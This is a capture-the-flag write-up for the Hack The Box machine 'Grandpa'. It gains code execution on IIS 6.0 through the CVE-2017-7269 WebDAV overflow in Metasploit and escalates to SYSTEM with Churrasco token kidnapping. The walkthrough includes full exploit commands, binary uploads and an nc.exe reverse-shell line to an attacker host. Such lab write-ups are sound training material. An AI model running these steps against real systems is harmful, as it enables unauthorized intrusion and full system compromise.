root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat grandpa.md
// writeups

Grandpa

12 Apr 2017 · 9 min read
Grandpa - maquina de Hack The Box

Executive summary — Grandpa is a «museum-piece» Easy Windows box: an IIS 6.0 (Windows Server 2003) with WebDAV vulnerable to CVE-2017-7269 gives RCE as NETWORK SERVICE; and being an ancient Windows, we escalate to SYSTEM abusing SeImpersonatePrivilege with Churrasco (MS09-012 Token Kidnapping). A WebDAV RCE → NETWORK SERVICE → SYSTEM path, with a detour through a restricted Meterpreter session and a writable staging folder.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.95.233

Attack map

[80] Microsoft IIS 6.0 (Windows Server 2003) · WebDAV
   │  CVE-2017-7269 — ScStoragePathFromUrl overflow (WebDAV) → RCE via Metasploit
   ▼
[SHELL]  NT AUTHORITY\NETWORK SERVICE  (limited Meterpreter — stdapi restricted)
   │  whoami /priv → SeImpersonatePrivilege: Enabled
   │  writable C:\wmpub\ + nc.exe + churrasco.exe → MS09-012 Token Kidnapping
   ▼
[SYSTEM]  NT AUTHORITY\SYSTEM

1. Reconnaissance

nmap -sC -sV -Pn 10.129.95.233
80/tcp  open  http  Microsoft IIS httpd 6.0

The clue: IIS 6.0 belongs to the Windows Server 2003/XP era — ancient by any standard. Its WebDAV service carries CVE-2017-7269, one of the most classic unauthenticated RCEs ever found in IIS, and a single open port 80 is the entire attack surface here.

2. Initial exploitation — CVE-2017-7269 (IIS 6.0 WebDAV RCE)

What CVE-2017-7269 is: a buffer overflow in the ScStoragePathFromUrl function of IIS 6.0's WebDAV service, triggered by an unauthenticated PROPFIND request with an overly long If: header. It was exploited in the wild years before being formally disclosed. Metasploit ships a ready module for it:

msfconsole
search ms09_020
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.129.95.233
set LHOST <ATTACKER_IP>
set LPORT 4444
show options
run
(Meterpreter 1)(c:\windows\system32\inetsrv) >

Naming note: the module was located searching for ms09_020 (a different, older WebDAV bulletin from 2009), but the flaw it actually triggers is CVE-2017-7269 — the ScStoragePathFromUrl overflow, unrelated to that 2009 advisory. Easy mix-up given how much IIS 6/WebDAV history there is to search through.

3. A limited session — stdapi denied

The Meterpreter session comes up, but it isn't fully functional:

getuid
getsystem
Operation failed: Access is denied.

What this means: the session exists and we can run commands, but part of Meterpreter's stdapi extension is restricted in this process context — getsystem's built-in techniques don't work here. That doesn't kill the session; it just means privilege escalation has to be done manually from a raw shell.

4. Enumerating the user and its privileges

Dropping to a native shell instead of relying on Meterpreter's restricted API:

shell
Microsoft Windows [Version 5.2.3790]
c:\windows\system32\inetsrv>
whoami
nt authority\network service
whoami /priv
SeImpersonatePrivilege                 Enabled

Why this matters: SeImpersonatePrivilege lets a process impersonate the security token of another authenticated user or service. On these old Windows builds, service accounts like NETWORK SERVICE routinely hold it, and tools built around token kidnapping (the pre-Potato generation, of which Churrasco is the reference implementation) abuse exactly this to grab a SYSTEM token.

5. Staging a writable directory

Back in Meterpreter (exit from the shell), we need somewhere on disk to drop binaries:

exit
cd C:\
mkdir wmpub
Cannot create a file when that file already exists.
cd wmpub
(Meterpreter 1)(C:\wmpub) >

Why wmpub: it already exists on Grandpa and is writable by the service account, which makes it a convenient staging folder for uploading the privilege-escalation binaries.

6. Preparing the privesc binaries on Kali

Two binaries are needed on the attacking box before uploading: a static nc.exe for the reverse shell, and churrasco.exe for the token-kidnapping exploit itself.

locate nc.exe
/usr/share/seclists/Web-Shells/FuzzDB/nc.exe
cp /usr/share/seclists/Web-Shells/FuzzDB/nc.exe .
wget <url> -O churrasco.exe

Note: churrasco.exe isn't in searchsploit's local mirror, so it has to be pulled down manually from wherever it's hosted — a reminder that not every classic tool lives in the default offline archives.

7. Uploading the binaries to the target

From the Meterpreter session inside C:\wmpub:

upload /home/hacksparrow1/nc.exe C:\wmpub\nc.exe
upload /home/hacksparrow1/churrasco.exe C:\wmpub\c.exe
ls

Churrasco is uploaded renamed as c.exe purely for typing convenience on the target's command line.

8. Catching the SYSTEM shell — Churrasco (MS09-012 Token Kidnapping)

What MS09-012 (Token Kidnapping) is: a Windows privilege-escalation flaw where a process holding SeImpersonatePrivilege can duplicate the access token of a more privileged process (like a SYSTEM service) and use it to launch its own commands. Churrasco automates exactly that — it's the direct ancestor of today's Potato-family exploits (RottenPotato, JuicyPotato, PrintSpoofer), built for a time when NETWORK SERVICE/LOCAL SERVICE impersonation was the standard escalation trick on Windows Server 2003/2008.

Open a listener on Kali first:

nc -lvnp 4444

Then, back in the target's shell, fire Churrasco to spawn nc.exe with an impersonated SYSTEM token:

shell
C:\wmpub\c.exe -d "C:\wmpub\nc.exe -e cmd.exe <ATTACKER_IP> 4444"

The reverse connection lands on the Kali listener:

whoami
nt authority\system

SYSTEM confirmed.

9. Flags — quoting paths with spaces

Reading the flags the naive way fails, because Windows Server 2003 profile paths are full of spaces and cmd.exe stops parsing the path at the first one:

type C:\Documents and Settings\Harry\Desktop\user.txt

Fails silently/with an error — cmd.exe reads C:\Documents as the filename and treats and, Settings\Harry\... as separate arguments. Wrapping the whole path in quotes fixes it:

type "C:\Documents and Settings\Harry\Desktop\user.txt"
type "C:\Documents and Settings\Administrator\Desktop\root.txt"

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
FootholdIIS 6.0 WebDAVCVE-2017-7269 (ScStoragePathFromUrl overflow)Unauthenticated RCE as NETWORK SERVICE
PrivEscWindows Server 2003 service accountMS09-012 Token Kidnapping (SeImpersonatePrivilege) via ChurrascoSYSTEM

Lessons learned

  • End-of-life software is guaranteed RCE: IIS 6.0 / Windows Server 2003 shouldn't be reachable from any modern network.
  • WebDAV is attack surface: disable it if unused, and check enabled methods with http-methods/OPTIONS.
  • SeImpersonatePrivilege is a path straight to SYSTEM on service accounts — Churrasco on old Windows, Potato-family tools on modern ones. Strip it from service accounts that don't need it.
  • A restricted Meterpreter session isn't a dead end: drop to a raw shell, enumerate privileges, and escalate manually when the automated helpers get denied.
  • Writable "public" folders (wmpub-style) are staging grounds for attackers: audit write permissions on default OS directories, not just web roots.
  • Not every exploit lives in searchsploit: classic tools like Churrasco often have to be located and fetched manually.
  • Windows path quoting matters: any path with spaces needs quotes in cmd.exe, or the command silently misparses it.